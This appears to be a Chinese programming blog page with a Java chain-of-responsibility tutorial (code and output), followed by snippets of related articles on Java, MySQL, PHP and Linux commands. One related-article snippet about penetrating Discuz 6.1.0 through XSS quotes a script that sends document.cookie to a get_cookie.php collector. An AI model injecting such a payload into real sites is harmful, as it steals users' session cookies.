java责任链设计模式 订单_Java责任链设计模式实例分析

本文实例讲述了Java责任链设计模式。分享给大家供大家参考,具体如下:

一 代码

abstract class AbstractHandler {

private Handler Handler = null;// 持有责任链中下一个责任处理者的引用

public void setHandler( Handler handler ) {

this.Handler = handler;

}

public Handler getHandler() {

return Handler;

}

}

interface Handler {

public void operator(); // 处理份内工作的方法

}

class MyHandler extends AbstractHandler implements Handler {

private String name;

public MyHandler( String name ) {

this.name = name;

}

@Override

public void operator() {

System.out.println(name + ":责任经过我头上!!");

if (getHandler() != null) {

System.out.println(name + ":我把责任交给了" + getHandler());

getHandler().operator();

} else {

System.out.println(name + "我处理了责任!!");

}

}

@Override

public String toString() {

return name;

}

}

public class TestChainOfResponsibility {

public static void main( String[] args ) {

MyHandler h1 = new MyHandler("h1");// 新建一个名字为h1的事务处理者

MyHandler h2 = new MyHandler("h2");// 新建一个名字为h2的事务处理者

MyHandler h3 = new MyHandler("h3");// 新建一个名字为h3的事务处理者

h1.setHandler(h2);// h1的下级设为h2,那么h1可以把责任交给h2

h2.setHandler(h3);// h2的下级设为h3,那么h2可以把责任交给h3

h1.operator();// 调用h1的事务处理函数

}

}

二 运行

h1:责任经过我头上!!

h1:我把责任交给了h2

h2:责任经过我头上!!

h2:我把责任交给了h3

h3:责任经过我头上!!

h3我处理了责任!!

三 类图

9ee335e05821eb0abae3834c274c74b2.png

希望本文所述对大家java程序设计有所帮助。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/533213.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java map去重复的数据_使用HashMap去重复数据.

因为HashMap是键值对形式,所以一个键只对应一个Value,利用这个原理,我们就可以根据某列重复数据做键对重复数据进行处理啦~首先先看看我要处理 的数据然后我最后想要的结果:需求:根据groupName每个分组信息只显示一条数…

centos6.5 MySQL 服务器_启用CentOS6.5 64位安装时自带的MySQL数据库服务器

本人在虚拟机上又安装了一台linux机器,作为MySQL数据库服务器用,在安装时选择了系统自带的MySQL服务器端,以下是启用步骤。首先开启mysqld服务#service mysqld start进入/usr/bin目录#cd /usr/bin设定mysql数据库root用户的密码#mysqladmin -…

java xml date_W3C XML 模式时间数据类型与java Date进行转换

W3C XML 模式时间数据格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的时间转换为能被java所使用个格式有以下3种办法:(1)、jdk中有这么一个类XMLGregorianCalendar,使用XMLGregorianCalendar类中的toGreGreg…

authinfo.php,【nginxphp】后台权限认证方式

一、最常用的方法(代码中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本:var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一样,因为他需要诱导人去点击他的链接,但是现在人不是傻子&#xf…

宇轩网络面试题目PHP,二十道接地气的php面试题,让你直接通过面试!就此奉上~...

1、echo count(“abc”); 输出什么?答:"1"count— 计算数组中的单元数目或对象中的属性个数int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是数组类型或者实现了 Countable 接口的对象,将返回 1&#xff0…

java期末试题c卷,JAVA程序设计期末考试试卷及参考答案

《JAVA程序设计》期末考试试卷考生注意:1.本试卷满分100分。2.考试时间90分钟。3.卷面整洁,字迹工整。4.填写内容不得超出密封线。总分题号一二三四五六核分人题分21204019复查人得分一、单选择题(每题2分&…

mysql 分组查询原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作,而且與ORDER BY 相比,GROUP BY 主要只是多了排序之后的分組操作。當然,如果在分組的時候還使用了其他的一些聚合函數,那么還需要一些聚合函數的計算。所以,在GROUP BY 的實現…

mac php命令行模式,phpstorm分别在Mac和Windows下启动命令行,并启用ssh

Mac:在terminal下运行 sudo -i 输入密码 就可以用ssh IP:端口 命令行登录了DAssist是一个命令行开发辅助,可直接在系统命令行工具中使用,Linux和MacOS等自带命令终端的系统好说,windows下也有cmd和powerShell。那么如何结合开发IDE工具进行…

python 逻辑回归准确率是1,Python利用逻辑回归模型解决MNIST手写数字识别问题详解...

本文实例讲述了Python利用逻辑回归模型解决MNIST手写数字识别问题。分享给大家供大家参考,具体如下:1、MNIST手写识别问题MNIST手写数字识别问题:输入黑白的手写阿拉伯数字,通过机器学习判断输入的是几。可以通过TensorFLow下载MN…

php面试题接口方面,php面试题6 - osc_xb4v1nhl的个人空间 - OSCHINA - 中文开源技术交流社区...

php面试题6一、总结二、php面试题6写出你认为语言中的高级函数:1)preg_replace()2)preg_match()3) ignore_user_abort()4) debug_backtrace()5) date_default_timezone_set(“PRC”)6) get_class_methods() 得到类的方法名的数组7) preg_split() 字符串分割成数组8)json_encode…

关于php的问题有哪些,关于PHP的报错问题?

关于这个报错的表格我不知到怎么去做,下面的是代码:header(content-type:text/html;charsetutf-8);session_start();include_once ../include/conf.php;include_once ../include/func.php;include_once ../include/mysql.func.php;check_login();$pageSi…

oracle官方文档查看方法,oracle官方文档_查看初始化参数(举例)

深蓝的blog:http://blog.csdn.net/huangyanlong/article/details/46864217记录了一下,使用oracle11g联机文档,查看初始化参数的步骤。如果想查看,可以修改的初始化参数的概念信息,可以点击“ChangingParameter Values …

oracle p l,使用P.A.L制作便携软件 (一) 基本原理 | 么么哒拥有者

因爱好自学所得,并非专业,此处只是抛砖引玉,欢迎相互交流、学习、提高,辛苦码字不易,如转载望保留链接出处。简单介绍:P.A.L是PortableApps.com Launcher的简称,它是PortableApps.com开发的便携…

linux 建oracle分区表,Oracle 10g 11g分区表创建举例

1.3. 创建其他类型分区表1.3.1. 用多列分区键创建范围分区表SQL> create table aning_mutilcol_range2 (aning_id number,3 aning_name varchar2(100),4 aning_year number,5 aning_month number,6 aning_day number,7 aning_amount number8 )9 partition by range (aning_y…

linux中进行远程服务器连机可以采用telnet,端口号为,使用telnet测试指定端口的连通性...

原标题:使用telnet测试指定端口的连通性telnet 是一个阉割版的 ssh ,它数据不加密,数据容易被盗窃,也容易受中间人攻击,所以默认情况下 telnet 端口是必须要被关闭的。telnet为用户提供了在本地计算机上完成远程主机工…

linux xd命令,看Linux文件的内容:用cat,less,more,head,tail,nl,od,xxd,gv,xdvi命令

使用命令在Linux系统中查看文件的内容是Linux管理员的基本技能之一,在Linux中,有许多应用程序以不同的方式显示文件内容。您可以使用cat、less、more、head、tail、nl、od、xxd、gv、xdvi命令来查看文本文件或任何其他文件。为了对此进行测试&#xff0c…

linux远程拷贝免手动输入密码,scp远程拷贝避免输入密码

使用scp远程拷贝文件到指定服务器上,在客户端生成密钥放在需要验证的服务器上,这样再次连接后直接登陆,避免输入密码。设定场景我们需要将tomcat服务器(client1)192.168.30.20 上的catalina.out日志文件,每天使用指定用户拷贝到日…

linux怎么用命令打开wine,Linux系统运维:10分钟教你如何使用Wine在Linux下玩魔兽世界...

本文主要向大家介绍了Linux系统运维的如何使用Wine在Linux下玩魔兽世界,通过具体的步骤向大家展现,希望对大家学习Linux系统运维有所帮助。目标:在 Linux 中运行魔兽世界发行版:适用于几乎所有的 Linux 发行版。要求:具…

linux中如何查看某个端口是否被占用,LINUX中如何查看某个端口是否被占用

之前查询端口是否被占用一直搞不明白,问了好多人,终于搞懂了,现在总结下:1.netstat -anp |grep 端口号如下,我以3306为例,netstat -anp |grep 3306(此处备注下,我是以普通用户操作&#…